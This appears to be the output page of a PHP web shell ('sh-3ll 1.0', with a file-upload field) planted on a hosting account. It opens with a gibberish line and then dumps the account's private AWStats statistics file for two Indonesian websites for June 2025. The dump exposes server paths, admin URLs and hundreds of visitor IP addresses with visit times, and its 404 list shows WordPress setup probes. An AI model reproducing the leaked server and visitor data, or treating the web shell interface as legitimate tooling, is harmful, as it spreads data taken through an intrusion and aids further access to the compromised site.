fhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhd dfhdfhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhdfh bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg php sh-3ll

HOME


sh-3ll 1.0
DIR:/home/u1105814/tmp/awstats/ssl/
Upload File :
Current File : /home/u1105814/tmp/awstats/ssl/awstats062025.mountanasikunir.com.lcmshipping.co.id.txt
AWSTATS DATA FILE 7.9 (build 20230108)
# If you remove this file, all statistics for date 202506 will be lost/reset.
# Last config file used to build this data file was /home/u1105814/tmp/awstats/ssl/awstats.mountanasikunir.com.lcmshipping.co.id.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2072                
POS_TIME 2754                
POS_VISITOR 11198               
POS_DAY 24311               
POS_DOMAIN 3708                
POS_LOGIN 4270                
POS_ROBOT 4425                
POS_WORMS 5189                
POS_EMAILSENDER 5320                
POS_EMAILRECEIVER 5463                
POS_SESSION 25193               
POS_FILESIZE 26918               
POS_SIDER 25405               
POS_FILETYPES 5598                
POS_DOWNLOADS 5953                
POS_OS 6200                
POS_BROWSER 6536                
POS_SCREENSIZE 7883                
POS_UNKNOWNREFERER 7957                
POS_UNKNOWNREFERERBROWSER 8516                
POS_ORIGIN 8849                
POS_SEREFERRALS 8994                
POS_PAGEREFS 9223                
POS_SEARCHWORDS 9450                
POS_KEYWORDS 9637                
POS_MISC 2418                
POS_ERRORS 9733                
POS_CLUSTER 4126                
POS_SIDER_404 9901                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20250701001334 146 37025 14301703742426
FirstTime 20250601002038
LastTime 20250630200637
LastUpdate 20250702074120 146 0 145 0 0
TotalVisits 454                 
TotalUnique 309                 
MonthHostsKnown 0                   
MonthHostsUnknown 334                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
FlashSupport 0 0 0
TotalMisc 0 0 0
DirectorSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
RealPlayerSupport 0 0 0
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
PDFSupport 0 0 0
JavascriptDisabled 0 0 0
AddToFavourites 0 5 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 146 1075 569622115 126 195 4329945
1 12 38 19172193 89 100 10891576
2 6 7 53322 60 105 7425665
3 8 8 45265 99 109 6993611
4 10 41 11605216 73 92 4229154
5 18 105 61923418 72 104 6991013
6 16 77 54053066 88 124 1372691
7 28 113 17649985 80 99 4751243
8 79 324 201662650 80 92 3099914
9 35 146 51098655 95 162 7403463
10 268 726 267093712 151 270 30484566
11 209 681 346942622 127 155 8740812
12 45 202 136105146 88 133 15435239
13 91 213 56575141 82 147 6857106
14 60 420 226850595 77 83 1245853
15 71 383 199477393 76 99 5527001
16 40 200 156494744 63 73 2538678
17 218 1510 535430132 93 142 14064608
18 167 681 322148591 77 105 1211874
19 149 371 157479536 109 118 1540667
20 251 984 439396529 216 336 42348691
21 162 759 392610548 125 344 9183856
22 99 560 230894081 107 180 15926983
23 258 1232 551671949 158 268 34620022
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 24
id 1954 9455 4344610956
us 222 539 166149659
in 173 481 208669557
pl 24 24 179319
ro 13 153 73725095
se 12 67 38874990
de 8 8 9708
ru 7 8 56618
vn 6 55 11817380
jp 5 39 467279
bg 5 5 23882
ca 3 3 25290
nl 2 4 52168
be 2 3 29925
gb 1 1 6695
tw 1 1 4577
eg 1 1 6905
hn 1 1 5089
eu 1 2 26084
kz 1 1 5089
cn 1 1 5089
rs 1 1 6280
ir 1 1 5089
au 1 2 24730
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 16
bingbot/ 444 71753343 20250630131742 0
Googlebot/ 247 1775602 20250629223541 0
SemrushBot/ 75 314469 20250629171301 0
AhrefsBot/ 71 358144 20250628182144 0
Applebot/ 45 27802692 20250626122258 0
Googlebot\-Image/ 19 21148929 20250627005920 0
YandexBot/ 8 35705 20250630202359 0
curl 6 29694 20250626221101 0
no_user_agent 4 166259 20250629050456 0
survey 4 174009 20250607225407 0
(firefox/)([0-9]\.|[0-1][0]\.) 3 14755 20250613190842 0
facebookexternalhit/ 3 21184 20250630154845 0
Barkrowler 2 10178 20250624003054 0
CFNetwork 2 1818465 20250630154845 0
crawl 1 5089 20250612211705 0
bot[\s_+:,\.\;\/\\-] 1 5089 20250611221158 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 14
jpg 1853 2301855292 0 0
css 1892 12756075 0 0
jpeg 1967 2108617716 0 0
woff 3 201495 0 0
png 459 189526286 0 0
php 775 2624319 0 0
map 4 1397706 0 0
woff2 480 34013817 0 0
txt 2 24731 0 0
html 655 4407126 0 0
ttf 2 12204 0 0
mp4 1 161269151 0 0
js 2236 25056943 0 0
Unknown 527 3024592 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 4
/ads.txt 2 0 24731
/admin/modul/mod_galleri/mobil/1747932211.mp4 1 76 45078038
/admin/modul/mod_galleri/mobil/1747932237.mp4 0 43 38540032
/admin/modul/mod_galleri/mobil/1747928950.mp4 0 43 77651081
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 17
android11 1 1
linux 255 66
linuxdebian 1 1
android 305 115
androidmarshmallow 1774 226
androidnougat 67 15
win7 5 5
ios_iphone 1311 176
win10 4301 1130
macosx9 1 1
androidpie 1 1
linuxcentos 2 2
androidoreo 1 1
android10 2950 667
win8.1 2 2
Unknown 28 24
macosx15 13 13
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 64
opera74.0.0.0 1 1
safari18.3.1 68 13
chrome129.0.0.0 47 11
chrome113.0.0.0 1 1
firefox109.0 39 3
safari17.1 1 1
firefox131.0 1 1
firefox124.0 1 1
chrome51.0.2704.103 3 3
Unknown 19 17
safari18.5 171 20
firefox127.0 2 2
chrome83.0.4103.83 1 1
chrome89.0.4389.128 1 1
firefox139.0 303 115
chrome59.0.3071.125 67 15
chrome30.0.1599.101 1 1
chrome131.0.6778.33 33 3
safari18.2 88 12
firefox137.0 6 3
netscape5.0 3 3
chrome99.0.4844.84 1 1
chrome136.0.7103.113 2 2
firefox125.0 1 1
chrome123.0.6312.118 1 1
chrome126.0.0.0 1 1
chrome104.0.0.0 5 5
chrome136.0.0.0 2934 1092
firefox140.0 66 11
chrome137.0.0.0 3161 507
firefox120.0 16 16
firefox59.0 1 1
safari 346 37
chrome130.0.0.0 91 15
chrome120.0.0.0 5 2
safari16.3 61 9
safari10.0 152 12
chrome84.0.4147.105 1 1
chrome85.0.4183.101 1 1
safari15.1 1 1
chrome134.0.0.0 2 2
chrome121.0.0.0 2 2
chrome122.0.0.0 1 1
chrome131.0.0.0 3 3
chrome128.0.0.0 1 1
chrome79.0.3945.136 1 1
chrome138.0.0.0 40 4
iphone 19 4
chrome63.0.3239.111 1 1
chrome101.0.4951.41 1 1
chrome119.0.0.0 48 6
chrome133.0.0.0 2644 351
chrome66.0.3359.181 14 14
chrome86.0.4240.198 1 1
chrome100.0.4896.75 39 3
safari18.0 1 1
chrome105.0.0.0 6 3
safari18.3 40 4
mozilla 7 5
firefox136.0 6 3
chrome137.0.7151.115 2 0
safari18.1.1 367 66
chrome135.0.0.0 60 17
chrome83.0.4103.97 8 8
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 9
okhttp/4.9.2 20250602153649
Mozilla/5.0_researchscan.comsys.rwth-aachen.de 20250605182450
quic-go-HTTP/3 20250629120315
NetworkingExtension/8620.2.4.10.8_Network/4277.82.1_iOS/18.3.2 20250617120210
WhatsApp/2.23.20.0 20250629171913
Python/3.12_aiohttp/3.11.12 20250605080955
Mozilla/5.0_(compatible;_Dataprovider.com) 20250622040841
python-requests/2.32.3 20250623120823
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20250605081509
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 6
okhttp/4.9.2 20250602153649
NetworkingExtension/8620.2.4.10.8_Network/4277.82.1_iOS/18.3.2 20250617120210
quic-go-HTTP/3 20250629120315
WhatsApp/2.23.20.0 20250629171913
python-requests/2.32.3 20250623120823
Python/3.12_aiohttp/3.11.12 20250605080955
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 600 649
From1 1 1
From2 185 188
From3 2 3
From4 1658 10177
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 4
id_search_yahoo_com 1 1
www_bing_com 1 2
www_google_co_id 1 1
www_google_com 182 184
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 3
https://zt4.top 1 1
https://7porn.top 1 1
https://mail.mountanasikunir.com 0 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 1
https+//www.mountanasikunir.com/ 6
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 2
https 6
//www.mountanasikunir.com/ 6
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 7
302 248 4154
400 2 104
404 2006 2498247
301 6 4770
403 19 13662
206 345 119259053
401 7 371
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 28
/wordpress/wp-admin/setup-config.php 702 -
/robots.txt 146 -
/apple-app-site-association 2 -
/plugins/bootstrap/js/bootstrap.bundle.min.js 14 https://mountanasikunir.com/admin/
/images/logo.png 1 https://mountanasikunir.com/
/favicon.png 1 -
/Search 1 https://mountanasikunir.com/
/apple-touch-icon-120x120.png 1 -
/images/logo.jpeg 7 https://mountanasikunir.com/
/plugins/jquery/jquery.min.js 14 https://mountanasikunir.com/admin/
/ads.txt 5 -
/sitemaps.xml 4 -
/admin/modul/mod_produk/mobil/1748869346. 86 https://mountanasikunir.com/admin/pages.php
/sitemap.xml.gz 4 -
/atom.xml 2 -
/xmlrpc.php 2 -
/wp-admin/setup-config.php 700 -
/apple-touch-icon.png 3 -
/Service 5 -
/apple-touch-icon-120x120-precomposed.png 1 -
/.well-known/traffic-advice 76 -
/assets/js/jquery.min.map 195 -
/.well-known/apple-app-site-association 2 -
/sitemap.xml 6 -
/apple-touch-icon-precomposed.png 3 -
/sitemap.txt 4 -
/dist/js/adminlte.min.js 14 https://mountanasikunir.com/admin/
/sitemap_index.xml 5 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 334
36.89.217.148 494 1181 396746129 20250605193943
36.69.225.226 262 2166 1113698731 20250605000643
36.89.217.149 196 487 151384933 20250605155616
103.155.198.201 131 212 45210965 20250604005448
180.245.71.245 106 676 330708203 20250606004626
125.166.99.22 80 133 34968150 20250603190742
182.3.38.165 80 173 89661065 20250603184935
114.124.240.132 53 556 175055930 20250602180458
114.124.204.21 47 445 155546099 20250602180709
182.3.38.4 47 82 16201587 20250605135257
125.166.98.48 26 43 18910576 20250605213956
182.3.38.177 24 47 22400871 20250603112317
125.166.97.143 22 207 112278673 20250604140152
182.1.71.143 20 106 57682007 20250618205729
182.3.53.48 20 20 127489 20250605194000
114.10.4.111 17 41 34396404 20250627082237
182.3.43.135 16 50 7954413 20250602180805
103.249.19.66 16 75 42715511 20250613211801
182.3.53.36 14 86 45768511 20250605223603
182.3.38.28 13 13 89870 20250605111322
182.3.38.9 13 87 5014382 20250605224303
182.3.44.76 12 84 45985148 20250602204848
125.163.32.207 11 66 45316754 20250626162840
182.2.135.224 10 56 1475945 20250614070828
182.2.47.117 10 51 30018637 20250605192847
149.57.180.100 1 1 4353 20250604025928
182.253.48.48 4 45 26973078 20250616182358
152.59.82.129 1 1 4718 20250621030020
54.164.157.105 4 34 11505218 20250602153705
94.247.172.129 1 1 4249 20250602011035
100.25.163.67 1 1 4262 20250602171954
185.247.137.71 0 1 20995 
180.243.14.179 9 62 39702774 20250629233914
23.26.34.148 1 1 7484 20250627211052
182.3.51.91 1 2 18414 20250605224033
210.64.24.100 1 1 4577 20250605080955
182.2.133.192 2 2 13825 20250605103410
137.226.113.44 2 2 9708 20250605182450
52.38.252.70 0 1 1797470 
34.213.226.1 1 1 5089 20250617154741
182.3.42.43 2 3 33399 20250602173604
193.186.4.176 5 5 37420 20250629215548
162.120.184.37 8 8 59872 20250629140137
164.92.221.101 1 2 26084 20250615091735
35.165.43.101 0 1 2263306 
182.0.176.137 1 1 6581 20250604095816
182.0.147.25 1 1 6155 20250604095620
149.57.180.8 1 1 5089 20250606202727
182.2.37.15 1 36 22683755 20250628210851
162.120.184.63 1 1 7484 20250618112759
114.10.67.50 4 29 9234799 20250629171929
182.2.133.249 0 1 0 
35.88.209.121 0 1 1259208 
182.253.8.195 8 60 34894814 20250629154508
180.252.126.230 3 45 31351520 20250616213729
193.186.4.205 1 1 7484 20250625213516
37.99.44.168 1 1 5089 20250606145726
172.225.74.119 4 19 9151027 20250625213828
162.120.184.219 1 1 7484 20250628091752
93.158.91.25 1 2 26084 20250616071305
23.27.145.72 1 1 4854 20250605165911
54.161.7.9 1 1 4854 20250605175554
35.94.199.68 1 1 5089 20250622154006
46.62.131.49 1 1 5089 20250627150336
120.188.72.239 2 8 7141730 20250620113337
202.150.165.66 4 52 38356247 20250618053354
64.225.6.79 1 1 4718 20250623153054
149.57.180.154 1 1 4854 20250605160624
23.27.145.241 1 1 4353 20250604022929
114.10.149.218 1 18 20306918 20250606123709
162.120.185.36 1 1 7484 20250623122123
159.89.44.211 1 1 5447 20250623153721
104.40.68.12 0 1 1596210 
182.2.165.75 3 33 5966260 20250601214636
162.120.184.245 1 1 7484 20250629122100
182.3.50.118 1 1 0 20250604094902
35.90.125.191 1 1 5089 20250613164137
182.3.52.7 4 4 28145 20250605155038
159.89.86.179 1 1 12359 20250629114340
125.160.101.14 1 30 22655605 20250610165551
209.97.146.198 1 1 5462 20250623152500
35.160.103.106 1 1 5089 20250626165151
182.3.51.100 9 52 31440333 20250624065015
182.3.44.32 1 9 14022016 20250602204019
52.37.53.10 1 1 5089 20250610154148
72.14.201.146 2 2 14968 20250625185358
34.219.179.164 1 1 4251 20250602154002
130.180.254.27 1 1 6280 20250602173108
182.2.137.215 5 52 46902433 20250628160346
101.0.6.225 5 50 13327685 20250620103826
110.138.89.240 1 1 6042 20250606072043
182.0.177.13 1 1 6672 20250604100401
54.245.51.159 1 1 5089 20250630161604
182.3.51.3 3 39 22858138 20250626091051
36.81.50.37 2 38 22850654 20250629215305
182.3.39.3 3 6 104856 20250605103850
35.94.23.145 0 1 2263306 
64.233.173.102 4 11 287017 20250629081408
125.160.108.238 4 40 22873010 20250630173328
158.140.175.236 3 39 22858138 20250627151949
168.195.24.193 1 1 45515 20250610103554
182.2.132.200 6 42 22877853 20250605101438
23.27.145.85 1 1 4249 20250601002038
35.88.200.25 0 1 1739250 
114.10.78.21 3 3 4011 20250622181608
87.236.176.180 1 1 4353 20250604020518
146.190.23.39 1 2 26084 20250611073310
193.186.4.183 4 4 29936 20250629231230
23.27.145.151 1 1 5089 20250624032435
114.10.10.57 3 39 22858138 20250612203344
165.227.191.18 1 1 7484 20250623113637
36.71.82.245 4 46 31359004 20250625153315
148.113.202.94 4 4 20356 20250626011207
149.57.180.143 1 1 5089 20250606192404
178.62.4.111 1 2 26084 20250627081336
182.3.53.200 3 3 9257 20250603113459
182.3.36.130 6 49 32282704 20250604100900
100.25.212.115 1 1 5089 20250608172807
157.245.243.244 1 2 25572 20250605074619
147.182.157.176 1 2 103081 20250601075512
87.236.176.48 1 1 4577 20250605081506
162.120.184.24 9 9 67356 20250629150208
44.248.40.169 1 1 5089 20250607174533
149.57.180.109 1 1 4251 20250602163837
110.138.128.204 0 2 98250 
182.3.53.46 1 36 9896869 20250605230237
182.2.40.187 3 5 230312 20250628211006
192.178.15.104 4 15 312590 20250606124457
114.10.27.128 7 59 41854608 20250614142654
87.236.176.39 0 1 20995 
18.237.162.76 1 1 4251 20250602164014
36.69.143.73 4 40 22873010 20250628160052
114.10.11.10 6 51 31342012 20250627005529
95.177.163.4 3 38 5206182 20250618225546
34.212.169.199 0 1 1384960 
182.2.136.211 1 4 7490 20250628160911
156.237.44.5 1 1 6905 20250605054331
182.3.51.178 2 8 80482 20250606014534
23.27.145.58 1 1 5089 20250625181033
93.158.91.24 1 2 26084 20250625140406
180.242.71.81 2 38 22850654 20250618155725
182.253.126.9 6 42 22885098 20250627011113
114.10.79.65 8 55 1468347 20250622181448
182.2.36.89 1 1 7484 20250613214325
182.2.132.159 1 1 7262 20250605162017
162.120.184.26 8 8 59278 20250626113825
72.14.201.144 1 1 7484 20250614162640
91.134.91.17 5 5 23882 20250610181156
180.254.71.240 2 38 22850654 20250622194245
46.101.36.133 1 2 26084 20250609072042
103.144.170.48 2 38 22850654 20250616142032
36.72.133.76 3 39 22858138 20250607003832
23.99.77.243 0 2 3008959 
104.131.103.226 1 2 26084 20250625072945
162.120.184.25 5 5 37420 20250629205609
162.120.185.27 1 1 7484 20250615184935
193.186.4.145 3 3 22452 20250623105931
162.120.184.1 1 1 7484 20250625135705
162.120.185.53 2 2 14968 20250617085751
18.236.81.95 1 1 5089 20250608180258
110.138.131.135 1 1 6216 20250602130851
157.230.50.197 1 2 26084 20250611135837
146.75.160.29 7 49 31384800 20250625113630
143.244.54.22 1 1 7484 20250607045852
162.120.185.58 1 1 7484 20250621203824
114.10.77.21 1 3 1800784 20250622182224
3.226.235.73 2 2 14968 20250607062337
193.186.4.147 3 3 22155 20250624122032
138.246.253.7 6 6 0 20250629120315
45.39.200.91 1 1 7484 20250607031334
162.120.184.228 1 1 7484 20250629210215
182.2.132.88 3 3 20367 20250605120625
147.182.255.138 1 2 26084 20250609150710
149.57.180.20 1 1 4233 20250602225104
95.177.180.85 9 114 68511429 20250617222322
172.82.65.38 1 1 6340 20250602174326
72.14.201.182 4 4 29936 20250623215102
111.95.0.110 1 4 647835 20250620054532
114.79.23.171 4 36 1097851 20250611093027
162.120.184.51 2 2 14968 20250624154117
114.124.247.23 1 1 6342 20250602174957
157.245.116.146 1 2 24730 20250614214413
202.169.225.154 4 40 22873010 20250624222751
209.170.91.202 3 39 22858138 20250625081018
104.131.121.100 1 1 7484 20250623152753
54.202.1.4 1 1 5089 20250615154252
182.3.39.27 2 2 13850 20250605131958
172.99.243.109 1 1 7484 20250608004032
114.10.16.127 3 39 22858138 20250613202834
72.14.201.183 5 5 37420 20250629205238
34.221.75.78 0 1 1033914 
182.3.45.120 2 2 12513 20250602175937
35.204.174.199 1 1 5089 20250606221456
110.138.80.146 3 39 22858138 20250622154147
114.124.246.22 1 33 13166193 20250602174900
159.203.130.69 1 1 7187 20250623162131
182.3.53.60 1 1 7134 20250605142942
161.35.140.186 1 1 5462 20250623150722
192.178.15.103 1 7 139814 20250606124457
110.138.92.78 4 39 6294172 20250625205524
45.56.158.3 1 1 6216 20250601191004
162.120.185.37 1 1 7484 20250619100319
182.0.145.77 1 1 6523 20250604100642
193.186.4.146 3 3 22452 20250627155220
62.164.247.130 1 1 6695 20250604024557
36.73.35.235 9 70 42125565 20250615194929
157.20.233.208 5 39 467279 20250629205616
159.203.88.29 1 1 4989 20250623161016
143.198.12.87 1 1 4542 20250623160118
182.2.132.76 1 1 7259 20250605145708
3.92.245.171 3 39 22858138 20250624000346
36.72.216.24 3 39 22858138 20250622220805
64.23.221.12 1 1 12360 20250628234040
114.79.5.50 6 43 22934981 20250617202223
72.14.201.176 4 4 29147 20250629143217
138.197.108.208 1 2 26084 20250623083507
172.225.74.121 0 6 4978432 
162.243.4.24 1 1 4353 20250604031747
182.3.51.166 3 27 7352336 20250606073932
182.0.145.29 1 1 6670 20250604100119
35.88.77.24 1 1 5089 20250614162411
182.3.44.88 2 2 13061 20250602180743
182.3.45.108 4 4 22905 20250602200444
114.122.76.29 6 22 26958022 20250606124449
162.120.184.36 7 7 52185 20250628232207
191.102.130.167 1 1 5089 20250624114327
18.237.19.212 0 1 50021 
182.3.53.92 3 3 7572 20250603134808
46.101.235.230 1 2 26084 20250625173034
182.2.77.43 0 1 20995 
114.10.69.144 1 1 6042 20250618215337
38.183.146.63 3 37 19199600 20250620182632
23.27.145.226 1 1 5089 20250622214003
182.3.42.219 2 6 5609594 20250602204658
182.2.133.3 8 44 22892261 20250605103329
182.0.146.21 1 1 6523 20250604095912
149.56.150.225 1 1 45515 20250622040758
193.233.233.29 6 6 30534 20250618140428
182.3.51.62 4 24 11305 20250602123616
167.99.55.225 1 2 25321 20250603085947
35.90.192.43 1 1 45515 20250618191828
54.213.24.34 0 2 2447775 
182.3.39.15 3 38 14254429 20250605153348
44.248.249.85 3 39 22858138 20250619053144
182.3.37.126 3 4 70178 20250604220623
161.35.84.74 1 2 26084 20250629092325
18.236.158.125 0 1 1512134 
110.235.233.232 3 24 2161118 20250621002133
34.217.10.155 0 1 1231834 
182.1.186.232 7 55 38376677 20250629081538
72.14.201.147 4 4 29639 20250625112752
64.225.16.201 1 1 7484 20250623032311
34.220.34.85 0 1 547791 
64.233.173.96 2 11 62667 20250629081407
159.89.47.205 1 1 7484 20250623155155
64.233.173.101 2 12 163255 20250629081407
149.57.180.74 1 1 5089 20250625174338
34.216.250.139 1 1 5089 20250619173937
171.236.211.152 3 33 11500987 20250602102011
44.250.57.108 1 1 5089 20250621181409
44.242.190.17 1 1 5089 20250606164529
161.35.129.230 1 1 5469 20250623154508
114.10.153.104 4 40 22873010 20250627084913
114.10.17.114 3 33 11500987 20250601044102
35.91.147.117 1 1 4854 20250605171655
192.104.34.34 1 1 6695 20250603213622
34.222.232.86 1 1 5089 20250624154500
103.165.58.82 10 75 41643582 20250611175447
114.10.70.237 1 1 0 20250615072816
193.186.4.182 4 4 29936 20250628212433
182.2.133.216 4 39 22843525 20250605115007
111.94.234.155 4 39 22852015 20250620231755
104.154.229.48 1 1 5089 20250619140055
139.59.162.175 1 2 24730 20250615092253
193.186.4.144 1 1 7484 20250615102740
162.120.185.26 2 2 14968 20250624115159
34.213.67.245 1 1 3902 20250604193316
35.167.7.127 0 1 2263306 
182.3.44.64 1 1 6340 20250602174422
36.79.196.235 8 80 45728360 20250620180807
146.75.160.28 1 11 7407689 20250625114348
185.230.124.246 1 1 5089 20250623120823
134.209.67.197 1 2 26084 20250607091507
103.111.213.130 4 41 22914067 20250626140441
35.91.184.230 1 1 4249 20250601163251
182.3.52.31 1 1 6920 20250605103511
114.10.153.216 4 40 22873010 20250619103051
14.224.168.247 3 22 316393 20250615142812
222.124.58.156 9 52 30069269 20250629171913
149.57.180.178 1 1 5089 20250608021932
34.220.224.231 0 1 1797470 
162.120.184.229 1 1 7484 20250629215211
103.159.205.10 6 55 31173660 20250630200637
174.138.57.114 1 2 26084 20250622151929
72.14.201.161 1 1 7484 20250624154239
162.120.184.27 8 8 59872 20250629152501
114.124.213.166 1 33 13166193 20250602175302
162.120.185.25 1 1 7484 20250622182044
114.10.4.176 6 11 3207982 20250627083107
14.194.11.238 1 1 0 20250602050345
178.156.153.197 1 1 7484 20250628023733
162.120.184.53 5 5 36631 20250622205132
182.3.53.212 7 44 22953145 20250603134744
182.2.82.32 4 39 22852015 20250627005913
100.26.166.119 1 1 3902 20250604165514
143.244.187.51 1 2 26084 20250612041509
114.10.144.218 7 53 37039806 20250606123608
52.87.164.56 2 2 14968 20250617061904
182.3.52.19 2 2 14182 20250605153231
114.10.11.17 2 38 22850654 20250617085933
165.232.129.219 1 2 26084 20250613072039
36.72.213.40 4 39 22852015 20250627222859
149.57.180.96 1 1 5089 20250622222454
36.68.223.125 4 45 14034961 20250622191106
182.0.134.21 3 4 1052970 20250604101948
5.133.192.135 1 2 26084 20250608064817
182.3.51.190 5 25 19060815 20250606010237
182.0.177.157 0 1 1797470 
182.0.206.121 1 1 6905 20250605082700
104.131.179.208 1 2 26084 20250621073427
144.217.135.152 2 2 14968 20250622040841
34.213.36.32 1 1 5089 20250620200117
34.216.21.56 1 1 5089 20250611154215
192.178.15.102 1 10 48736 20250606124455
162.120.185.51 2 2 14968 20250624154402
182.3.37.192 9 20 461340 20250605230335
34.214.148.241 1 1 5089 20250616154220
59.51.141.91 1 1 5089 20250630053818
114.122.84.64 6 47 29714954 20250606124431
114.10.79.166 4 39 22701228 20250622182117
66.249.74.166 2 2 11182 20250602232957
36.68.52.151 0 2 3029304 
162.120.184.6 1 1 7187 20250611115501
44.248.152.100 0 2 950000 
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 30
20250601 16 96 17874333 7
20250602 600 2183 674808498 34
20250603 499 828 343976778 23
20250604 282 2000 1004990703 27
20250605 359 1785 820215027 60
20250606 114 725 406175401 20
20250607 9 46 22919247 6
20250608 6 7 53924 6
20250609 2 4 52168 2
20250610 4 33 22711298 4
20250611 20 102 61428911 8
20250612 5 42 22891706 3
20250613 27 111 72979842 11
20250614 26 161 66225056 9
20250615 23 105 42547854 13
20250616 20 175 104086077 12
20250617 23 133 68803651 14
20250618 42 242 127525107 17
20250619 17 89 45801198 12
20250620 30 219 109512937 14
20250621 11 33 2234429 9
20250622 41 275 108722999 20
20250623 20 21 146597 20
20250624 27 142 77246620 12
20250625 38 221 108615408 21
20250626 22 156 96092537 7
20250627 58 296 201297800 16
20250628 22 135 111402962 13
20250629 71 402 206084907 30
20250630 12 89 58632629 4
END_DAY

# Session range - Number of visits
BEGIN_SESSION 7
0s-30s 356
15mn-30mn 17
30mn-1h 10
30s-2mn 26
2mn-5mn 19
5mn-15mn 19
1h+ 7
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 41
/ 641 4391400 357 274
